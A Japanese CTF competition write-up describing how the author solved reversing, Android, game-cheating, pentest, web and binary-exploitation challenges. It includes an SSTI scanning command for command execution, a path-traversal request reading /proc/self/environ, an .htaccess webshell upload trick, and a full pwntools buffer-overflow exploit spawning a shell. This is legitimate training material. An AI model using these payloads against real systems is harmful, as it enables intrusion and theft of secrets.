writeupというか試行錯誤を書いたものというか。 総合で4位でした。(4equestだけに)
Misc
[Easy] Swifty
添付のzipファイルに含まれるバイナリのパスワードを特定してください。
Swiftで作成されたelfからフラグを獲得するrev問題。 実行環境が無かったので入れるところからやった。 とりあえず動かしてみるとパスワードの入力が求められる。
gdbで動かそうとしたがすぐに終了してしまう。これはアンチデバッガが働いてるからっぽいので、まずはそれを消すことにする。

付属のREADMEではGhidraを使えという圧がすごかった(IDA Freeだとデコンパイル時にファイルを送信してしまうから?)が、宗教上の理由でCutterを利用した。 結局Ghidraモードを使うのですが。
何となく見てたらptraceを使っている部分を見つけたので、
消しゴムマジックで消してやるのさ(nopで上書き)

これでデバッグできるようになる。

Swifty_mainの処理を追った感じ、入力された文字列と何かを比較して全部合ってればパスワードがCorrect password!が表示される感じだった。
その比較の処理は$sSasSQRzlE2eeoiySbSayxG_ABtFZs5UInt8V_Tgm5内で行われている。
折角デバッグできるようにしたので、色々入力してデバッグしてみる。
その結果フラグは32文字で、入力した値は処理されよくわからない値になっていることが判明した。
比較されのはrsi+0x20(フラグポインタ)とrdi+0x20(入力値ポインタ)の値である。
<a32文字を入力した結果。>
どういう処理をしているのかをguessした結果XORだという神託(?)が得られたので、これらの値からxorの鍵を取り出して、フラグデータに適応すればフラグが得られると考えた。
そのままpythonで実装した結果がこれ。
![]()
半分しかないが。
増やした。

a_32 = [0x61] * 32 # a converted_a_32 = [ 0xed, 0xbb, 0x5c, 0x36, 0x69, 0x3d, 0xcc, 0x96, 0xed, 0xbb, 0x5c, 0x36, 0x69, 0x3d, 0xcc, 0x96, 0xed, 0xbb, 0x5c, 0x36, 0x69, 0x3d, 0xcc, 0x96, 0xed, 0xbb, 0x5c, 0x36, 0x69, 0x3d, 0xcc, 0x96 ] xor_key = [converted_a_32[i] ^ a_32[i] for i in range(len(a_32))] encrypted_data = [ 0xea, 0xb6, 0x5c, 0x30, 0x73, 0x2e, 0xc8, 0x81, 0xbf, 0xa8, 0x4e, 0x66, 0x66, 0x3b, 0xf2, 0x84, 0xfb, 0xb3, 0x5b, 0x23, 0x57, 0x68, 0xdd, 0x87, 0xd3, 0xeb, 0x4e, 0x08, 0x6e, 0x29, 0xc3, 0x8a ] xor_result = [encrypted_data[i] ^ xor_key[i % len(xor_key)] for i in range(len(encrypted_data))] print(''.join(chr(x) for x in xor_result))
flag{rev3rs1ng_swift_4pp_1s_fun}
Ghidraなんていらなかったんや。
[Medium] shoot
強運の持ち主か、それとも…? ※ VT-x/AMD-Vが有効化されていない仮想環境上にAndroid Studioをインストールすると、一部機能が正常に動作しないことがあります。解析にAndroid Studioを使用する場合はご注意下さい。
shoot.apkが渡される。 1000000回連続でジャンケンに勝ったらフラグがもらえそう。
とりあえずdex2jarしてJD-GUIにかけてみる。
com.ffrixnflabs.shoot.MainActivityを確認すると、じゃんけんで勝つごとにnativeライブラリのgetFlagが呼び出されていて、1000000回勝ってたらフラグがもらえるっぽい。
勝った回数を増やしてそうなincrementCountもネイティブライブラリ

じゃあネイティブライブラリを解析するのかというと、面倒そうなのでしないことに。
APK Easy Toolでsmaliコードを生成して、一回勝つだけで1000000回勝ったことになるように編集する。
このincrementCount()を
0xf4240(1000000)回ループさせる。
.line 36
iget-object v0, p0, Lcom/ffrixnflabs/shoot/MainActivity$RockPaperScissor;->this$0:Lcom/ffrixnflabs/shoot/MainActivity;
const v9, 0xf4240
const/4 v10, 0x0
:loop_start
invoke-virtual {v0}, Lcom/ffrixnflabs/shoot/MainActivity;->incrementCount()V
add-int/lit8 v10, v10, 0x1
if-lt v10, v9, :loop_start
.line 37
一応.localsも11に増やしておく。
これをまたAPK Easy Toolでコンパイルして、適当なエミュレータ(自分はBluestacks Android 11)に入れ、一回勝つとフラグがもらえ...

見切れている。
Bluestacksの設定から縦画面にするとちゃんと表示される。

flag{7hR33_W4y_d34dLoCk}
first bloodかと思ってたら先越されてて泣いた(4時間差)

[Medium] Board
掲示板サイトのAPIサーバにOSコマンドが実行可能なバックドアが仕込まれたようです。 サーバのソースコードを読んでバックドアを特定し、OSコマンドを実行するPoCを作成してください。 フラグはサーバが起動しているディレクトリ内にファイルとして保存されています。 ※問題サーバの80番ポートでサービスが稼働しています。
goで作成されたバックドア付きhttpサーバでそのバックドアを利用せよとの問題。
内容は掲示板のバックエンドサーバーみたいな感じので、スレにレスするエンドポイントとレスを取得するエンドポイントがある。
レス表示にはキャッシュ機能があり、同じスレに対して5回連続で取得するとキャッシュされるらしい。

cache.goに明らかに怪しいコードがある。

どうやらスレ作成から2秒以内でキャッシュされた場合に、バックドアが起動する。
なので、こういう感じのスレを作成して

瞬時に5回レスを取得する。 手動で。
flag{THIS_BOARD_IS_1NF3C7ED}
これ本当にMedium?
[Medium] legend bird
伝説の鳥を捕まえろ!
※flag形式はflag{xxxx}としてください。
※ゲームを開始するには、legend_bird.exeを起動してください。
伝説の鳥を捕まえろとのこと。ああ。
Unity製のゲームを渡される。 とりあえず起動...
おおおお!ゲームだ! BGMもある!

無理だろ。

本当にそう。

そうなんだ。

まじか。

原点?

各地を歩き回ってみたのですが、この世界は策に囲われた虚構の世界だということに気付きました。

おもむろにうさみみハリケーン 32bit 新型改良版を起動。
何回かりんごをとって、アドレスの検索を行った結果。
多分これのどれかを99999に変えたらいいはず。

とりあえず全てをFF FF FFとかにしたらリンゴを増やせた。

いけるのか?

旗もってなくね?

え???? これでおしまい??????

????????????
ここで思い出してほしい。 伝説の鳥を"""捕まえる"""必要があることを。
座標のアドレスを探します。
なんどか左右に動いたり上下に動いたりして、この2つのアドレスを見つけた。
でも無理そうだったのでコードを書き変えることにします...
Il2CppDumperを使って解析しやすくする。
RPGMなるものがある。

これらしい。 Creator Kit: RPG | Tutorials | Unity Asset Store
という風にバイナリから攻めたが敗北した。
ここで""原点""を思い出す必要がある。
AssetStudioでChicken(伝説の鳥)を調べる

PathIDは541らしい。
UABEAでdata.unity3dを展開し編集する。
Chickenはlevel0内にあるらしいので、それのPathID541のAnimatorを編集する。
こんな感じに鳥の座標を""原点""の座標に変更する。

この状態でリンゴを集めると
きたあああああ
flag{CHE4T1NG_UN17Y_G4ME_1S_H4RD}
原点の伏線回収が熱すぎる。
(Unityはすぐに仕様が変わってツールもすぐに変わるのですが、今はどれを使うのが正解なんですかね)
Malware Analysis
[Easy] Pack
世の中には実行ファイルの動作を変えることなく難読化ができるツールがあるようです。 表層解析で得られる文字列を見てみると......?
表層解析をしろと言われている。
DIEで確認すると、案の定UPXが使われている。

upx -d pack.exe
でアンパック可能。 x32dbgで起動して色々見てると、ダミーのフラグらしきものが得られる。

アンチデバッガがあるらしい。 デバッガ無しで起動して、一度チェックすればメモリ上に正解のフラグ文字列が出てくると考えた。 普通に起動し、Incorrectした後にx32dbgでアタッチする。
flag{p@ck3r_Enc7y0t39_3@s7}
色々見るとは
入力待ちの間に、コール・スタックを見るとどこからscanfを呼び出してるとかが分かるのでその周辺を見る

pentest
[Easy] WebAdmin
新人のサーバ管理者がWebサーバを構築していたところ、使っていたアプリケーションと設定に脆弱性があり、サーバを攻撃者に乗っ取られてしまったようです。 セキュリティエンジニアのあなたは、サーバのコピーを作って攻撃者がどのようにサーバを乗っ取ったか再現することにしました。 攻撃者の行動を再現してサーバのroot権限を取得し、/root/root.txt の中に書いてあるフラグを答えてください。
脆弱なバージョンで設定ミスのあるサーバーを構築してるとのこと。 問題サーバーにアクセスするとnginxのデフォルトのページが表示される。 nginxの脆弱性かと思って色々探したが刺さりそうなものがない。 pentestということなのでnmapを使うと10000番が空いていた。

miniservというものが動いていて、しかも脆弱性があるバージョンっぽい。 このexploitを参考に/root/root.txtを表示するリクエストを送るとフラグが得られた。
なぜrootのファイルが見れるんだと思ったけど、設定ミスってそういう。
flag{Expl01t_CVE-2019-15107}
[Hard] Labs (1st mission)
ここは革新技術総合研究所、日々新しい技術の研究が行われています。 あなたはこの研究所のペネトレーションテストを依頼されました。 研究所のサーバの完全な管理者権限を奪取することがゴールです。 注意点 サーバのすべての機能が起動するのに、4,5分程度かかります。うまく行かないことがある場合は、時間を置いて試してください。 1st missionでは、標的サーバのどこかにある flag1.txt の中に書いてある文字列を答えてください。
与えられたIPにアクセスするとかっこいい名前の研究所のWEBページがある。

nmapをかけたがwebサーバー以外は特に見つからなかったのでwebの診断から始めることに。 お問い合わせフォームがあったので、軽くスキャナをかけるとSSTI脆弱性が見つかった。
python3 sstimap.py -u "http://10.0.102.21/contact" -d "name=name&email=email&inquiry=i" -m POST -A -i
そのままosコマンドを実行したらフラグが得られる。

flag{RC3_W1TH_J1NJ42_SSTI!}
[Medium] Gallery (1st mission)
太郎君は写真を撮るのが好きで、自分で作ったサイトで写真を公開しています。 でも、太郎君はセキュリティには少し疎いようです。 サーバの脆弱性を探し、太郎君のサーバをセキュアにするお手伝いをしましょう。 1st missionでは、/var/www/flag1.txt の中に書いてあるフラグを答えてください。
画像がスライドショーされるWEBページがある。

ディレクトリ探索の結果/admin/login.phpが見つかった

' を入力するとエラーが発生するので、SQLインジェクションのペイロードをごちゃごちゃしてたらログインできた。 何でうまくいったのかは覚えてません。ごめんね。

アップロード機能を利用してRCEすることを目標にする。 .phpのファイルをアップロードしても拡張子で弾かれる。

%00をつけたりしたがうまくいかない。
そこで、.htaccessのアップロードを考える。
こういう感じのをアップロード出来たらtxtファイルをphpとして扱うことが出来る。
<FilesMatch "\.txt$">
SetHandler application/x-httpd-php
</FilesMatch>

これでwebshell.txtをphpのファイルとして動作させることが出来る。
あとは.txtでアップロードして物色するだけ。
flag{you_exploit_SQLi_and_Uploader}
WEB
[Easy] Path to Secret
脆弱性を特定し、サーバで用いられているSECRET_KEYの値を解答してください。 ヒント: サーバのファイル名はserver.pyです。
サーバで用いられているSECRET_KEYの値を入手する必要がある。flaskかな?
適当にアカウント登録してログイン。
メモをダウンロードできるらしい。

ダウンロードリンクがくそ怪しい。
![]()
ので、
/download?file=../../../../../../../../../proc/self/environ
にアクセスしたら環境変数が手に入る。
flag{992daabd454669829130c2ca679748c8}
EZ!
Binary Exploitation
[Easy] io tutorial
同じクラスの友人がプログラミングの宿題を教えて欲しいと頼んできた。 作ったプログラムがたまに変な動きをしていて、原因がわからず困っているみたい。 「標準入出力を使ったプログラムで、習った通りちゃんと文字数のチェックもしてるからバッファオーバーフローもしないはずなのに!」とのこと。 原因を見つけてシェルを取って助けてあげよう! たしか先生は変数の初期化を忘れちゃダメって言ってたような?
Cのコードとバイナリが渡される。 問題文的に未初期化の変数がどうこうな感じがする。 まずはchecksec
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
プログラムでは、次のような挨拶メッセージが最初に表示される。表示するメッセージは1から3で選択可能。
char *MESSAGES[] = { "! ! ! ! welcome ! ! ! !\n", "8 8 8 8 welcome 8 8 8 8\n", "WELCOME WELCOME WELCOME\n", }; void greet() { char message[25]; printf("greeting message? (1 ~ 3) > "); int which = readint(); if (which < 1 || which > 3) { printf("invalid!"); exit(1); } strncpy(message, MESSAGES[which - 1], strlen(MESSAGES[which - 1]) + 1); printf("%s", message); }
次のようなreadint関数があり、これで数値のみを2文字だけ読み取る
void readn(char *buf, size_t size) { for (int i = 0; i < size; i++) { read(0, buf + i, 1); if (buf[i] == '\n') { buf[i] = '\0'; return; } } // drop trailing '\n' getchar(); } int readint() { // read only 2 chars, so returns -9 to 99 I guess! char buf[0x10]; readn(buf, 2); return atoi(buf); }
そして、2桁の数値の数だけメッセージを読み取り、それを表示する。
int main() { greet(); printf("input size > "); int size = readint(); // readint may returns negative number. if (size < 0) { size = 0; } // size is 99 at most, but to be safe, // the buffer size is set to 0x100 (== 256). // it can't be overflow! char input[0x100]; printf("input > "); read(0, input, size); printf("your input: %s\n", input); return 0; }
0x100で初期化してるから安全...のつもりなのだろうが、上のメッセージで「8 8 8 8 welcome 8 8 8 8」を選択していた場合に、ちょうど8が残っていて「{2桁の入力値}8」をreadintがreturnすることになる。 試しに2を選択した後に99を入力すると、0x3e6(998)がreadintの戻り値になる。

あとはここからBOFでmainのreturnアドレスをwin関数に書き変えたらwinできそう。 ちなみにwinはshellを起動する感じになってる。
void win() { puts("WIN!!"); execve("/bin/sh", NULL, NULL); exit(0); }
cyclic 500とかを使ってでかい入力を作り流すと、こんな感じになる。
mainからのreturn時にrspに入ってる値は280番目

まずはテンプレートを作成
pwn template --host 10.0.102.251 --port 1234 ./io-tutorial > pwn_io.py
テンプレートを元に、mainからのreturnをBOFで書き変えるコードを作成。
from pwn import * context.log_level='error' exe = context.binary = ELF(args.EXE or './io-tutorial') host = args.HOST or '10.0.102.251' port = int(args.PORT or 1234) def start_local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def start_remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return start_local(argv, *a, **kw) else: return start_remote(argv, *a, **kw) gdbscript = ''' tbreak main continue '''.format(**locals()) io = start() win_addr = exe.symbols['win'] log.info(f'Address of win: {hex(win_addr)}') io.sendlineafter(b"greeting message? (1 ~ 3) > ", b"2") io.sendlineafter(b"input size > ", b"99") payload = b"A" * 280 payload += p64(win_addr) io.sendlineafter(b"input > ", payload) io.interactive()
シェルが取れたのでフラグを確認。
flag{y0u_mu5t_initi@liz3_v@riabl35!}
溶けなかった奴
Pentest / [Medium] Gallery (2nd mission)
これは Gallery (1st mission) の続きです。 2nd missionでは、 /root/flag2.txt の中に書いてあるフラグを答えてください。
Gallery (1st mission)の続き。
/root/flag2.txtを見る必要があるが、権限が足りない。
いろいろやったがわからん!
Pentest / [Hard] Labs (2nd mission)
これは Labs (1st mission) の続きです。 2nd missionでは、標的サーバのどこかにある flag2.txt の中に書いてある文字列を答えてください。
Labs (1st mission)の続き。
flag2.txtがどこかにあるということだが、findコマンドで探しても見つからなかった。
(flagなぁぁい!!)
3rd missionも同じ。 tarとかzipされてる? (gitを見るのが正解だったらしい)
WEB / [Medium] HTTP Sunshine
パッチのあたったHAProxyが動作しており、その後ろにHTTP Echo Serverが動作している。 HAProxyはflagをfヘッダーフィールドとして追加してHTTP Echo Serverへリクエストを転送する。 詳細説明はREADME.mdを参照してください(zipファイルに含まれています)。
613行目のctl = ist_find_ctl(list[hdr_idx].v);がctl = ist_find_ctl(list[hdr_idx].n);に変更されてる。(CTF時はそういうコードを渡されたが、実は771行目にパッチがあてられていたらしい)
その上には
/* RFC 9114 10.3 Intermediary-Encapsulation Attacks * * While most values that can be encoded will not alter field * parsing, carriage return (ASCII 0x0d), line feed (ASCII 0x0a), * and the null character (ASCII 0x00) might be exploited by an * attacker if they are translated verbatim. Any request or * response that contains a character not permitted in a field * value MUST be treated as malformed */ /* look for forbidden control characters in the pseudo-header value */
と書かれている。
HTTP Request Smuggling?
調べた感じHAProxyでHTTP Request SmugglingするCTFの問題は結構あるらしい。
色々試していたらよくわからない動作をしたが、正常系なのかすらわからず敗北。

Misc / [Medium] Decrypt
ある端末がマルウェアに感染し、拡張子がencとなっている16個のファイルが発見されました(0.enc, 1.enc, ..., 15.enc)。 これらのファイルはマルウェアによって暗号化されたと推測されています。 どのような情報が暗号化されているか調査してください。 入手したレポートに、暗号化されたファイルのフォーマットと暗号化手順が記載されていました。 レポートの情報はREADME.pdfファイルに記載しています。 暗号化されたファイルを復号するためのPythonスクリプトsample.pyを用意しています。 一部未実装の箇所がありますので、実装を追加する必要があります。
こういう感じの暗号化の仕様と暗号化された画像ファイル群、途中まで作成されたdecrptorが渡される。

仕様書をもとにその逆の操作をするコードを実装していく。
途中から自分が何をやってるのかすらわからなったdecryptor
import struct from Crypto.Cipher import AES from Crypto.Util import Padding AES_BLOCK_SIZE = 16 def unpack_meta(data): key1, key2, key3, key4, size = struct.unpack("<IIHHI", data[:16]) return key1, key2, key3, key4, data[16:32], size def generate_key(a0, a1, n, bit_size): key_list = [a0, a1] for i in range(2, n + 1): key_list.append((key_list[i-1] + key_list[i-2]) & ((1 << bit_size) - 1)) return key_list[n] def decrypt_file(file_path: str, output_path: str) -> None: with open(file_path, 'rb') as f: data = f.read() key1, key2, key3, key4, key5, size = unpack_meta(data) print(key1, key2, key3, key4, key5, size) key_a = generate_key(key1, key2, key3, key4) encrypted_data = data[32:] print(f"Size: {size}, Encrypted: {len(encrypted_data)}") decrypted_data = decrypt_aes(key5, encrypted_data) decrypted_data = custom_algorithm_decrypt(decrypted_data, key4, key_a, size) print(f"dec2 size: {len(decrypted_data)}") final_decrypted_data = decrypt_aes(key5, decrypted_data) with open(output_path, 'wb') as f_out: f_out.write(final_decrypted_data) def encrypt_aes(key, data): cipher =AES.new(key=key, mode=AES.MODE_CBC, iv=key) return cipher.encrypt(Padding.pad(data, AES.block_size, "pkcs7")) def decrypt_aes(key, data): data, AES.block_size, "pkcs7" cipher = AES.new(key=key, mode=AES.MODE_CBC, iv=key) decrypted = cipher.decrypt(data) return decrypted #Padding.unpad(decrypted, AES.block_size, "pkcs7") def decrypt_round(data, key): height = len(data) width = len(data[0]) for j in range(width - 1, 0, -1): for i in range(height - j): if i + j < height: data[i][j], data[i + j][j] = data[i + j][j], data[i][j] if width > 1: for i in range(height - 1, 0, -1): for _ in range(i): temp = data[i][0] for j in range(width - 1): data[i][j] = data[i][j + 1] data[i][width - 1] = temp for i in range(height // 2 - 1, -1, -1): for j in range(width): if (key >> j) & 1 and 2 * i + 1 < height: data[2 * i][j], data[2 * i + 1][j] = data[2 * i + 1][j], data[2 * i][j] return data def custom_algorithm_decrypt(data: bytes, key4: int, key_a: int, size: int) -> bytes: array_1d = bytes_to_array(data, key4) array_1d = array_1d[:-1] # 正しさを求める。 #padding_size = (key4 - (len(array_1d) % key4)) % key4 #array_1d.extend([0] * padding_size) array_2d = conv_2d(array_1d, key4) # 2次元配列が1行だけの場合は処理をスキップ key_a = bit_reverse(key_a, key4) # 初期は最初から反転している if len(array_2d) > 1: for i in range(10): array_2d = decrypt_round(array_2d, key_a) key_a = bit_reverse(key_a, key4) decrypted_array_1d = conv_1d(array_2d) return array_to_bytes(decrypted_array_1d, key4)[:AES_BLOCK_SIZE * (int(size/AES_BLOCK_SIZE) + 1)] def bit_reverse(num, bits): num = ~num mask = (1 << bits) - 1 return num & mask def bytes_to_array(data, bit_size): bit_string = "" for byte in data: byte_str = bin(byte)[2:].zfill(8) bit_string += "".join(reversed(byte_str)) chunks = [] for i in range(0, len(bit_string), bit_size): chunks.append(bit_string[i:i + bit_size]) result = [] for chunk in chunks: value = int("0b" + chunk[::-1], 2) result.append(value) return result def conv_2d(arr, row_size): arr.extend([0] * ((row_size - len(arr)) % row_size)) data = [] for i in range(0, len(arr), row_size): data.append(arr[i:i + row_size]) return data def conv_1d(data): arr = [] for y in range(len(data)): for x in range(len(data[0])): arr.append(data[y][x]) return arr def array_to_bytes(data, bit_size): bit_string = "" for value in data: bit_string += bin(value)[2:].zfill(bit_size)[::-1] byte_chunks = [] for i in range(0, len(bit_string), 8): byte_chunks.append(bit_string[i:i + 8]) result = [] for chunk in byte_chunks: byte_value = int("0b" + chunk[::-1], 2) result.append(byte_value) return bytes(result)
paddingに対応できずにうまく復号できない。
フラグが「flag{encXXX7322}」ぽいことまではわかったがXXXの部分のguessに失敗し敗北。
今思えばcustom_algorithm_decryptは行列使えばきれいに実装できたなと。
paddingと残り時間に打ちのめされた。
Malware Analysis / [Hard] Infected
攻撃者が会社のネットワークへ侵入し、マルウェアを実行して情報を持ち出しました。 あなたはどうにか、使用されたマルウェアと、情報持ち出し時のパケットログを保全できました。 保全した内容から、攻撃者が持ち出した情報を調査してください。 汚染されても問題ない安全な環境でのみ、展開結果のEXEファイルを実行してください。 実行時に VCRUNTIME140.DLL が見つからない旨のエラーが表示される場合は、 https://aka.ms/vs/17/release/vc_redist.x64.exe から再頒布可能パッケージをインストールしてください。
アンチデバッガを消しゴムマジックしたり

explorer.exeにプロセスインジェクションしてるのがわかって
![]()
何がインジェクトされたかを取り出すために海外ニキの動画を見ながらガチャガチャしたりfakenet-ngで通信内容をキャプチャしたり怒りの完全メモリダンプ(32GB)解析などをしたが敗北。
感想
かなり難しかったです。